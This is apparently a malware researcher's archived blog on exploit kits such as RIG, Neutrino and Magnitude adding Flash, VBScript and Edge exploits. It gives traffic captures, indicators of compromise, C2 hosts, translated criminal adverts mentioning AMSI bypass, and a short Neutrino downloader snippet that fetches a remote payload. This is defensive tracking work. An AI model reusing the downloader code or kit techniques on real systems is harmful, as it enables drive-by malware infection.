This is the last post/activity you’ll see on MDNC.

I have now chosen to bring the MDNC (Blog/Kafeine/MISP) project to an end.
Thanks to those who helped me during this incredible 8 years journey.

The blog and twitter account will stay up (but inactive) for the records.
The MDNC MISP instance will be shut down in several weeks.

‘Choose again.’ said Aenea. ‘Dan Simmons, The Rise of Endymion‘

That’s all Folks!

The CVE-2018-15982 is a bug that allows remote code execution in Flash Player up to 31.0.0.153, spotted in the wild as a 0day. Patched on December 05, 2018 with APSB18-42.

Underminer:

Underminer exploit kit improves in its latest iteration - 2018-12-21 - Malwarebytes

Fallout:

2019-01-16

Files: Fiddler on VT - Pcap on VT

Associated Advert underground:

Итак! Тяжкие работы по восстановлению всей инфраструктуры связки закончены, были проведены тесты и в данный момент связка работает в полном объеме. Также были произведены множество правок и изменений.

Изменения:

1. Увеличена производительность
2. Полностью переработан механизм обфускации кода и генерации лэндинга.
3. Убран CVE-2018-8373 на переработку. В данный момент сплоит ведет себя не стабильно.
4. Добавлен новый флеш сплоит CVE-2018-15982.
5. Для запуска повершелл в шеллкод добавлен код отключения AMSI
6. Кучка мелких правок

ИЗМЕНЕНА ЦЕНОВАЯ ПОЛИТИКА Неделя 400$ Месяц 1300$

В данный момент при проверке отстука софта со связки было выявлено:

1. Отстук EXE на уровне 80-90%
2. Отстук PowerShell на уровне 95-100%

Translated by google as:

So! The hard work on the restoration of the entire infrastructure of the bundle was completed, tests were carried out and at the moment the bundle is working in full. There have also been many edits and changes.

Changes:

1. Increased performance
2. The code obfuscation and landing generation mechanism has been completely redesigned.
3. Removed CVE-2018-8373 for recycling. At the moment, the flow rate is not stable.
4. Added new flash sploit CVE-2018-15982.
5. To launch Powershell, the disable code AMSI is added to the shellcode
6. A bunch of minor edits

CHANGED PRICE POLICY Week 400 $ Month $ 1300

At the moment, when checking the otstuk software from the bundle, it was revealed:

1. Otstuk EXE level 80-90%
2. Otstuk PowerShell at the level of 95-100%

Spelevo:

2019-03-06 Appears to be a new Exploit Kit which has some similarities with “SPL EK”. (CVE-2018-8174 has been spotted there as well)

Acknowledgement:

Thanks to Chaoying Liu for CVE confirmation.

Files: Fiddler on VT - Pcap on VT (note: Some proxy were used)

GreenFlash Sundown:

19.03.26 #Malvertising -> #GreenFlashSundown EK-> #SeonRansomware ver 0.2 & #pony & #miner using CVE-2018-15982 - 2019-04-05 - @vigilantbeluga

Shadowgate Returns to Worldwide Operations With Evolved Greenflash Sundown Exploit Kit - 2019-06-27 - Trendmicro

Read More:

Adobe Flash Zero-Day Exploited In the Wild - 2018-12-05 - Gigamon

Underminer exploit kit improves in its latest iteration - 2018-12-21 - Malwarebytes

The CVE-2018-8174 is a bug that allows remote code execution in the VBScript Engine. Found exploited in the wild as a 0day via Word documents, announced by Qihoo360 on April 20, 2018, patched by Microsoft on May 8, 2018 and explained in details by Kaspersky the day after.

A Proof of Concept for Internet Explorer 11 on Windows 7 has been shared publicly 3 days ago, it’s now beeing integrated in Browser Exploit Kits.

This will replace CVE-2016-0189 from july 2016 and might shake the Drive-By landscape for the coming months.

RIG:

Spotted on the 2018-05-25

“TakeThat” wrote yesterday (2018-05-24) that he has integrated it and that infection rate has increased:

Добавлен CVE-2018-8174
Add CVE-2018-8174
Пробив/rate +
[redacted]@exploit.im
[redacted]@xmpp.jp

And indeed today:

Files: PCAP on VT

Acknowledgement:

• Thanks to William Metcalf and Frank Ruiz (FoxIT InTELL) for their help.

Magnitude:

Spotted on the 2018-06-02

After a week without buying traffic, Magnitude is active again, now with CVE-2018-8174:

Note: Magniber is back (after 1 month and half of GandCrab) in this infection chain and is now (as GandCrab) also accepting Dash cryptocurrency as payment

Files: Fiddler on VT (note: some proxy were used)

GrandSoft:

Spotted by Joseph Chen on 2018-06-14

Files: Fiddler on VT - Pcap on VT

Acknowledgement:

• Thanks to Joseph Chen who spotted the new exploit and allowed the capture of this traffic.

Edits:

• 2018-06-19 - Added the name for the Loader
  

Fallout:

Spotted on 2018-06-30, most probably there since 2018-06-16

Files: Fiddler on VT - Pcap on VT

Acknowledgement:

• Thanks to Nao_Sec for the initial referer. Thanks to Joseph Chen for additionnal inputs

Kaixin EK:

Spotted by JayK on 2018-07-12

Files: Fiddler on VT - Pcap on VT

Hunter EK:

Files: Fiddler on VT

Acknowledgement:

• Thanks to Frank Ruiz (FoxIT InTELL) for allowing this capture.

Greenflash Sundown:

Spotted by Chaoying Liu on 2018-09-05

Acknowledgement:

• Thanks to Chaoying Liu for the CVE identification.

Read More:
The King is dead. Long live the King! - 2018-05-09 - SecureList
Analysis of CVE-2018-8174 VBScript 0day - 2018-05-09 - Qihoo360

Post publication reading:
Rig Exploit Kit Now Using CVE-2018-8174 to Deliver Monero Miner - 2018-05-31 - Trend Micro
Delving deep into VBScript - Analysis of CVE-2018-8174 exploitation - 2018-07-03 - SecureList
Hello “Fallout Exploit Kit” - 2018-09-01 - Nao_Sec

The CVE-2018-4878 is a bug that allows remote code execution in Flash Player up to 28.0.0.137, spotted in the wild as a 0day, announced by the South-Korean CERT on the 31st of January. Patched on February 6, 2018 with ASPB18-03. Seen in malspam campaign two weeks after, it’s now beeing integrated in Exploit Kits.

This is, as far as i know, the first new working RCE integrated in non targeted Exploit Kit¹ since CVE-2016-0189 in july 2016 (!).

GreenFlash Sundown:

Spotted on the 2018-03-09 (but probably there since several days)

GreenFlash is a private heavily modified version of Sundown EK spotted in october 2016 by Trendmicro. It’s beeing exclusively used by the “WordsJS” (aka “ShadowGate”) group. This group is getting traffic from crompromised OpenRevive/OpenX advertising server since at least may 2015.

Some references about the activities of this group:

Files: Fiddler on VT - Pcap on VT (note: some https proxies were used)
IOCs: MISP Json

If you saw this kind of traffic in your perimeter/telemetry, i’d be happy to get more referer

Edits:

• 2018-03-10 - 15:40 GMT - Removed mention of steganography. @smogoreli: “simple offset in the dat file”
  

Acknowledgement:

• Thanks to Genwei Jiang (FireEye) for the CVE identification.
• Thanks to Joseph Chen for inputs allowing the capture of a fresh pass of GreenFlash Sundown.
• Thanks to @GelosSnake & @baberpervez2 for the ping on suspicious activity that could be associated to “WordsJS” (aka “ShadowGate”) and triggered those checks.
  

Magnitude:

Spotted on the 2018-04-01

Magnitude is using the WSH injection described by Matt Nelson in August 2017.

Payload is the Magniber Ransomware, first spotted in the wild in october 2017, in a context documented by Trendmicro.

Select OSINT about this infection chain:

Files: Fiddler on VT - Pcap on VT (note: some https proxies were used)
IOCs: MISP Json (note: all those are changing almost hourly)

RIG:

Spotted on the 2018-04-09

Replying to a customer complaining yesterday (2018-04-08) about the lack of CVE-2018-4878, “TakeThat” wrote early this morning (2018-04-09):

Чистки выполняются вовремя
Конечно мы добавили флеш CVE-2018-4878 он доступен на подписке от недели

Translated by google as:

Cleaning is done on time
Of course, we added the flash CVE-2018-4878 it is available on subscription from the week

And indeed today as spotted by @nao_sec:

Fallout:

Spotted on 2018-06-28, most probably there since 2018-06-16

Despite seeing code pointing to it, we did not saw it properly called in traffic.

Edits:

• 2018-04-10 - 10:05 GMT - Modified to reflect payload id: Urausy. Not seen since 2015-06-09
  

Acknowledgement:

• Thanks to Kimberly for the payload identification.

Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) —https://t.co/DnwQt5giMB

— Theori (@theori_io) 4 janvier 2017

Sundown:
2017-01-06

Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06 No exploitation here though

Fiddler: Sundown_Edge__CVE-2016-7201_170106.zip (password is malware)

Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)

Neutrino:
2017-01-14
--
Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain.
--
So as explained previously Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well.
Without big surprise a new exploit is included in the Flash bundle : nw27 >  CVE-2016-7200/7201.

NeutrAds redirect is now  accepting Edge traffic - 2017-01-14

Neutrino Embedding CVE-2016-7200/7201 - 2017-01-14 (Neutrino-v flash ran into Maciej ‘s Neutrino decoder )

Extracted CVE-2016-7200/7201  elements - 2017-01-14

Note: i did not get infection with
- Edge 25.10586.0.0 / EdgeHTML 13.10586
- Edge 20.10240.16384.0

Fiddler&Pcap : Neutrino-v_CVE-2016-72007201_170114.zip  (Password is malware)
Extracted exploits: Neutrino_2017-01-14.zip (Password is malware)

reveiled[.space|45.32.113.97 - NeutrAds Filtering Redirector
vfwdgpx.amentionq[.win|149.56.115.166 - Neutrino

Payload in that pass : Gootkit - b5567655caabb75af68f6ea33c7a22dbc1a6006ca427da6be0066c093f592610
Associated C2 :
buyyou[.org | 204.44.118.228
felixesedit[.com
fastfuriedts[.org
monobrosexeld[.org

So those days, in Asia you'll most probably get Cerber and in EU/NA you'll most probably get Gootkit

MISP : taxonomy illustrating some NeutrAds into Neutrino-v recorded activity (and post infection)

Kaixin:
2017-01-15 Finding by Simon Choi

CVE-2016-7200/7201 code fired by Kaixin - 2017-01-16

Fiddler : Kaixin_2017-01-16.zip (Password is malware)

Out of topic: payload in another pass (not fired by this exploit) was Blackmoon/Banbra 6c919213b5318cdb60d67a4b4ace709dfb7e544982c0e101c8526eff067c8332
Callback:
http://r.pengyou[.com/fcg-bin/cgi_get_portrait.fcg?uins=1145265195

http://67.198.186[.254/ca.php?m=525441744D5441744D6A63744E3055744D554D745130493D&h=437

Edits:
2016-11-10 - Adding information about mitigation on Edge
2016-11-14 - Adding Neutrino
2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not
2016-11-16 - Adding Kaixin

Read More:
Three roads lead to Rome - Qihoo360 - 2016-11-29
Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) - Theori-io - 2017-01-04

RIG += internal TDS :

RIG += RC4 encryption, dll drop and CVE-2016-0189:

Neutrino waves goodbye ?

“we are closed. no new rents, no extends more”

Side reminder : Neutrino disappeared from march 2014 till november 2014

A Neutrino Variant

 function k2(k) {
     var y = a(e + "." + e + "Request.5.1");
     y.setProxy(n);
     y.open("GET", k(1), n);
     y.Option(n) = k(2);
     y.send();
     if (200 == y.status) return Rf(y.responseText, k(n))
 };

The actor behind this chain is the same as the one featured in the Malwarebytes Neutrino EK: more Flash trickery post.

Empire Pack:

[Speculation]
I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections.
[/Speculation]

• api.php : historical RIG
• api3.php : RIG with internal TDS [ 2016-10-08 :  This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]
• remote_api.php : RIG-v

But Empire Pack might be api3, remote_api, or a bit of both of them.

By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there.   :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing)

Conclusion

Let’s just conclude this post with statistics pages of two Neutrino threads

Picture 18: Neutrino stats - Aus focused thread - 2016-07-15

Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09

“We will be known forever by the tracks we leave”
Santee Sioux Tribe

Some IOCs

Date	Domain	IP	Comment
2016-10-01	szsiul.bluekill[.]top	137.74.55.6	Neutrino-v
2016-10-01	twqivrisa.pinkargue[.]top	137.74.55.7	Neutrino-v
2016-10-01	u0e1.wzpub4q7q[.]top	185.117.73.80	RIG-E (Empire Pack)
2016-10-01	adspixel[.]site	45.63.100.224	NeutrAds Redirector
2016-09-30	re.flighteducationfinancecompany[.]com	109.234.37.218	RIG-v
2016-09-28	add.alislameyah[.]org	193.124.117.13	RIG-v
2016-09-28	lovesdeals[.]ml	198.199.124.116	RIG-v
2016-09-27	dns.helicopterdog[.]com	195.133.201.23	RIG
2016-09-26	sv.flickscoop[.]net	195.133.201.41	RIG
2016-09-26	red.truewestcarpetcare[.]com	195.133.201.11	RIG-v
2016-09-26	oitutn.yellowcarry[.]top	78.46.167.130	Neutrino

Acknowledgements

Thanks Malc0de, Joseph C Chen (Trendmicro), Will Metcalf ( EmergingThreat/Proofpoint) for their inputs and help on multiple aspect of this post.

Edits

2016-10-03 :
Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos.
Added explanation about the IP whitelisting on RIG API (it was not clear)
2016-10-08 :
Updated with gained information on Empire Pack
2016-11-01 :
RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4.
https://twitter.com/kafeine/status/790482708870864896

RIG panel

The only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern)
2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)

RIG-E Behavioral

2016-12-03
RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.

2016-12-03 RIG-v Pre-landing

Read More

RIG’s Facelift - 2016-09-30 - SpiderLabs
Is it the End of Angler ? - 2016-06-11
Neutrino : The come back ! (or Job314 the Alter EK) - 2014-11-01
Hello Neutrino ! - 2013-06-07
The path to infection - Eye glance at the first line of “Russian Underground” - 2012-12-05